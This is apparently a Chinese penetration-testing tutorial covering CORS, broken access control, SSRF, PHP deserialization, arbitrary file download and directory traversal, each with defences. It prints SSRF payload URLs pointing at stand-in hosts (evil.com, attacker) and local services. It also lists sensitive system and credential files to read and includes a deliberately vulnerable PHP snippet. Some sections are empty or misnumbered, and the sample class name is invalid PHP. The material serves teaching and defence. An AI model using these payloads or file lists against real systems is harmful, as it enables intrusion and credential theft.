滲透專題丨web Top10 漏洞簡(jiǎn)述(3)
CORS跨域資源共享漏洞
1、名詞解釋
??CORS:?跨域資源共享是一種放寬同源策略的機(jī)制,它允許瀏覽器向跨源服務(wù)器,發(fā)出?XMLHttpRequest?請(qǐng)求,從而克服了?AJAX?只能同源使用的限制,以使不同的網(wǎng)站可以跨域獲取數(shù)據(jù)。
??CORS過程:簡(jiǎn)單跨域請(qǐng)求就是使用設(shè)定的請(qǐng)求方式請(qǐng)求數(shù)據(jù),而非簡(jiǎn)單跨域請(qǐng)求則是在使用設(shè)定的請(qǐng)求方式請(qǐng)求數(shù)據(jù)之前,先發(fā)送一個(gè)?OPTIONS?預(yù)檢請(qǐng)求,驗(yàn)證請(qǐng)求源是否為服務(wù)端允許源。只有"預(yù)檢"通過后才會(huì)再發(fā)送一次請(qǐng)求用于數(shù)據(jù)傳輸。當(dāng)我們需要發(fā)送一個(gè)跨域請(qǐng)求的時(shí)候,瀏覽器會(huì)首先檢查這個(gè)請(qǐng)求,如果它是簡(jiǎn)單跨域請(qǐng)求,瀏覽器就會(huì)立刻發(fā)送這個(gè)請(qǐng)求。如果它是非簡(jiǎn)單跨域請(qǐng)求,這時(shí)候?yàn)g覽器不會(huì)馬上發(fā)送這個(gè)請(qǐng)求,而是有一個(gè)跟服務(wù)器預(yù)檢驗(yàn)證的過程。
??CORS運(yùn)行機(jī)制:在瀏覽器進(jìn)行請(qǐng)求時(shí),自動(dòng)在請(qǐng)求頭中添加?Origin?字段,服務(wù)端通過驗(yàn)證?Origin?字段來(lái)判斷請(qǐng)求是否被允許,從而實(shí)現(xiàn)瀏覽器進(jìn)行跨源訪問。
2、漏洞代碼
4、防御方案
??不要配置"Access-Control-Allow-Origin"?為通配符“*”,而且更重要的是,要嚴(yán)格效驗(yàn)來(lái)自請(qǐng)求數(shù)據(jù)包中的"Origin"?的值。當(dāng)收到跨域請(qǐng)求的時(shí)候,要檢查"Origin"?的值是否是一個(gè)可信的源,?還要檢是否為?null
??避免使用"Access-Control-Allow-Credentials: true"
??減少?Access-Control- Allow-Methods?所允許的方法
越權(quán)漏洞
1、簡(jiǎn)述
越權(quán)訪問(Broken Access Control,簡(jiǎn)稱?BAC)是?Web?應(yīng)用程序中一種常見的漏洞,由于其存在范圍廣、危害大,被?OWASP?列為?Web?應(yīng)用十大安全隱患的第二名。該漏洞是指應(yīng)用在檢查授權(quán)時(shí)存在紕漏,使得攻擊者在獲得低權(quán)限用戶賬戶后,利用一些方式繞過權(quán)限檢查,訪問或者操作其他用戶或者更高權(quán)限。越權(quán)漏洞的成因主要是因?yàn)殚_發(fā)人員在對(duì)數(shù)據(jù)進(jìn)行增、刪、改、查詢時(shí)對(duì)客戶端請(qǐng)求的數(shù)據(jù)過分相信而遺漏了權(quán)限的判定,一旦權(quán)限驗(yàn)證不充分,就易致越權(quán)漏洞。
2、越權(quán)漏洞分類
??水平越權(quán):指相同權(quán)限下不同的用戶可以互相訪問
??垂直越權(quán):垂直越權(quán)是不同級(jí)別之間或不同角色之間的越權(quán),一般是低權(quán)限用戶往高權(quán)限越權(quán)。
3、漏洞防御
1、基礎(chǔ)安全架構(gòu),完善用戶權(quán)限體系。要知道哪些數(shù)據(jù)對(duì)于哪些用戶,哪些數(shù)據(jù)不應(yīng)該由哪些用戶操作;
2、鑒權(quán),服務(wù)端對(duì)請(qǐng)求的數(shù)據(jù)和當(dāng)前用戶身份做校驗(yàn);
3、不要直接使用對(duì)象的實(shí)名或關(guān)鍵字。
4、對(duì)于可控參數(shù)進(jìn)行嚴(yán)格的檢查與過濾。
SSRF漏洞
1、簡(jiǎn)述
SSRF (Server-Side Request Forgery,服務(wù)器端請(qǐng)求偽造)是一種由攻擊者構(gòu)造請(qǐng)求,由服務(wù)端發(fā)起請(qǐng)求的安全漏洞。一般情況下,SSRF?攻擊的目標(biāo)是外網(wǎng)無(wú)法訪問的內(nèi)部系統(tǒng)(正因?yàn)檎?qǐng)求是由服務(wù)端發(fā)起的,所以服務(wù)端能請(qǐng)求到與自身相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng))。
2、漏洞原理
SSRF?的形成大多是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對(duì)目標(biāo)地址做過濾與限制。例如,黑客操作服務(wù)端從指定?URL?地址獲取網(wǎng)頁(yè)文本內(nèi)容,加載指定地址的圖片等,利用的是服務(wù)端的請(qǐng)求偽造。SSRF?利用存在缺陷的?Web?應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器。
3、主要攻擊手段
??對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的?banner?信息。
??攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序。
??對(duì)內(nèi)網(wǎng)?Web?應(yīng)用進(jìn)行指紋識(shí)別,識(shí)別企業(yè)內(nèi)部的資產(chǎn)信息。
??攻擊內(nèi)外網(wǎng)的?Web?應(yīng)用,主要是使用?HTTP GET?請(qǐng)求就可以實(shí)現(xiàn)的攻擊(比如?struts2、SQli?等)。
??利用?file?協(xié)議讀取本地文件等。
4、支持協(xié)議
ftp
ssrf.php?url=ftp://evil.com:12345/TEST
file://
ssrf.php?url=file:///etc/password
Dict://
dict://@:/d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:3306
5、防御手段
1.禁止跳轉(zhuǎn)
2.過濾返回信息,驗(yàn)證遠(yuǎn)程服務(wù)器對(duì)請(qǐng)求的響應(yīng)是比較容易的方法。如果?web?應(yīng)用是去獲取某一種類型的文件。那么在把返回結(jié)果展示給用戶之前先驗(yàn)證返回的信息是否符合標(biāo)準(zhǔn)。
3.禁用不需要的協(xié)議,僅僅允許?http?和?https?請(qǐng)求??梢苑乐诡愃朴?file://, gopher://, ftp://?等引
起的問題
4.設(shè)置?URL?白名單或者限制內(nèi)網(wǎng)?IP(使用?gethostbyname()判斷是否為內(nèi)網(wǎng)?IP)
5.限制請(qǐng)求的端口為?http?常用的端口,比如?80、443、8080、8090
6.統(tǒng)一錯(cuò)誤信息,避免用戶可以根據(jù)錯(cuò)誤信息來(lái)判斷遠(yuǎn)端服務(wù)器的端口狀態(tài)
反序列化漏洞
1、簡(jiǎn)述
反序列化又叫對(duì)象注入,序列化在內(nèi)部沒有漏洞,漏洞產(chǎn)生是應(yīng)該程序在處理對(duì)象、魔術(shù)函數(shù)以及序列化相關(guān)的問題導(dǎo)致的?當(dāng)傳給?unserialize()的參數(shù)可控時(shí),那么用戶就可以注入?payload,進(jìn)行反序列化的時(shí)候就可能觸發(fā)對(duì)象中的一些魔術(shù)方法。
2、名詞解釋
序列化:對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^程?在序列化期間,對(duì)象將當(dāng)前的狀態(tài)寫入到臨時(shí)或持久性的存儲(chǔ)區(qū),將狀態(tài)信息保存為字符串。
反序列化:將序列化后的字符串還原成對(duì)象。
3、反序列化魔法函數(shù)
??__construct()?當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用
??__destruct()?當(dāng)一個(gè)對(duì)象銷毀前被調(diào)用
??__sleep()?在對(duì)象被序列化前被調(diào)用
??__wakeup?將在反序列化之后立即被調(diào)用
??__toString?當(dāng)一個(gè)對(duì)象被當(dāng)做字符串使用時(shí)被調(diào)用
??get(),set()?當(dāng)調(diào)用或設(shè)置一個(gè)類及其父類方法中未定義的屬性時(shí)
??__invoke()?調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)的回應(yīng)方法
??call?和?callStatic?前者是調(diào)用類不存在的方法時(shí)執(zhí)行,而后者是調(diào)用類不存在的靜態(tài)方式方法時(shí)執(zhí)行。
4、魔術(shù)方法實(shí)例
class 123{
public $var1 = 'abc';
public $var2 = '123';
public function echoP(){
echo $this->var1.'
';
}
public function __construct(){
echo "__construct
";
}
public function __destruct(){
echo "__destruct
";
}
public function __toString(){
return "__toString
";
}
public function __sleep(){
echo "__sleep
";
//?注意返回帶類中所有變量名稱的數(shù)組
return array('var1', 'var2');
}
public function __wakeup(){
echo "__wakeup
";
}
}
//?創(chuàng)建對(duì)象,輸出__construct
$obj = new 123();
//?調(diào)用?echoP?方法
$obj->echoP();
//?把類當(dāng)做字符串輸出,輸出__toString
echo $obj;
//?序列化對(duì)象,輸出__sleep
$s = serialize($obj);
// O:6:"123":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
echo $s.'
';
//?反序列對(duì)象,輸出__wakeup
unserialize($s);
//?腳本結(jié)束,對(duì)象被銷毀,輸出兩個(gè)?__destruct,還有一個(gè)是?unserialize?恢復(fù)的對(duì)象
?>
4、漏洞防御
不要把用戶的輸入或者是用戶可控的參數(shù)直接放進(jìn)反序列化的操作中去
任意文件讀取與下載漏洞
1、簡(jiǎn)述
任意文件讀取與下載又名不安全的文件下載,一些網(wǎng)站的業(yè)務(wù)需要,可能提供文件查看或下載的功能,如果對(duì)用戶查看或下載的文件不做限制,就能夠查看或下載任意的文件,可以是源文件,敏感文件等等。通過任意文件下載,可以下載服務(wù)器的任意文件,web?業(yè)務(wù)的代碼,服務(wù)器和系統(tǒng)的具體配置信息,也可以下載數(shù)據(jù)庫(kù)的配置信息,以及對(duì)內(nèi)網(wǎng)的信息探測(cè)等等。
2、常見的敏感文件
Win:
??C:\boot.ini //查看系統(tǒng)版本
??C:\Windows\System32\inetsrv\MetaBase.xml //IIS?配置文件
??C:\Windows\repair\sam //存儲(chǔ)系統(tǒng)初次安裝的密碼
??C:\Program Files\mysql\my.ini //Mysql?配置
??C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
??C:\Windows\php.ini //php?配置信息
??C:\Windows\my.ini
Linux:
??/etc/passwd
??/etc/shadow
??/etc/hosts
??/root/.bash_history
??//root?的?bash?歷史記錄
??/root/.ssh/authorized_keys
??/root/.mysql_history //mysql?的?bash?歷史記錄
??/root/.wget-hsts
??/opt/nginx/conf/nginx.conf //nginx?的配置文件
??/var/www/html/index.html
??/etc/my.cnf
??/etc/httpd/conf/httpd.conf //httpd?的配置文件
??/proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符)
??/proc/mounts
??/porc/config.gz
??/proc/sched_debug //?提供?cpu?上正在運(yùn)行的進(jìn)程信息,可以獲得進(jìn)程的?pid?號(hào),可以配合后面需要?pid的利用
??/proc/mounts //?掛載的文件系統(tǒng)列表
??/proc/net/arp //arp?表,可以獲得內(nèi)網(wǎng)其他機(jī)器的地址
??/proc/net/route //路由表信息
??/proc/net/tcp and /proc/net/udp //?活動(dòng)連接的信息
??/proc/net/fib_trie //?路由緩存
??/proc/version //?內(nèi)核版本
??/proc/[PID]/cmdline //?可能包含有用的路徑信息
??/proc/[PID]/environ //?程序運(yùn)行的環(huán)境變量信息,可以用來(lái)包含?getshell
??/proc/[PID]/cwd //?當(dāng)前進(jìn)程的工作目錄
??/proc/[PID]/fd/[#] //?訪問?file descriptors,某寫情況可以讀取到進(jìn)程正在使用的文件,比如access.log
3、漏洞防御
??過濾點(diǎn)(.)使用戶在?url?中不能回溯上級(jí)目錄
??正則嚴(yán)格判斷用戶輸入?yún)?shù)的格式
??php.ini?配置?open_basedir?限定文件訪問范圍
目錄遍歷漏洞
1、簡(jiǎn)述
在?web?功能設(shè)計(jì)中,很多時(shí)候我們會(huì)要將需要訪問的文件定義成變量,從而讓前端的功能變的更加靈活。?當(dāng)用戶發(fā)起一個(gè)前端的請(qǐng)求時(shí),便會(huì)將請(qǐng)求的這個(gè)文件的值(比如文件名稱)傳遞到后臺(tái),后臺(tái)再執(zhí)行其對(duì)應(yīng)的文件。?在這個(gè)過程中,如果后臺(tái)沒有對(duì)前端傳進(jìn)來(lái)的值進(jìn)行嚴(yán)格的安全考慮,則攻擊者可能會(huì)通過“../”這樣的手段讓后臺(tái)打開或者執(zhí)行一些其他的文件。?從而導(dǎo)致后臺(tái)服務(wù)器上其他目錄的文件結(jié)果被遍歷出來(lái),形成目錄遍歷漏洞。
2、代碼分析
$dir_path=$_REQUEST['path'];
$filename=scandir($dir_path);
var_dump($filename);
?>
path?可控?傳入?scandir?函數(shù)再進(jìn)行輸出,會(huì)造成目錄遍歷漏洞。
3、攻擊分類
??web目錄遍歷攻擊:目錄遍歷可以輸入../返回上級(jí)目錄?/遍歷根目錄?./當(dāng)前目錄?c:\訪問?c?盤,~/?當(dāng)前用戶目錄。遍歷網(wǎng)站或系統(tǒng)結(jié)構(gòu),尋找敏感文件,配合其他漏洞造成嚴(yán)重的安全隱患。
??中間件目錄遍歷攻擊:中間件如果設(shè)置不當(dāng)?shù)臅r(shí),也會(huì)造成目錄遍歷,如?apache ngnix iis?目錄瀏覽,均可造成目錄遍歷,但是這種目錄遍歷,只能遍歷網(wǎng)站根目錄,除非有特殊設(shè)置。通過遍歷目錄或文件,尋找敏感文件,如?session?登錄驗(yàn)證文件,數(shù)據(jù)庫(kù)備份等。對(duì)網(wǎng)站構(gòu)成重大安全隱患。
4、預(yù)防手段
1.對(duì)用戶的輸入進(jìn)行驗(yàn)證,特別是路徑替代字符如“../”和“~/”。
2.盡可能采用白名單的形式,驗(yàn)證所有的輸入。
3.合理配置?Web?服務(wù)器的目錄權(quán)限。
4.當(dāng)程序出錯(cuò)時(shí),不要顯示內(nèi)部相關(guān)配置細(xì)節(jié)。
5.對(duì)用戶傳過來(lái)的文件名參數(shù)進(jìn)行統(tǒng)一編碼,對(duì)包含惡意字符或者空字符的參數(shù)進(jìn)行拒絕。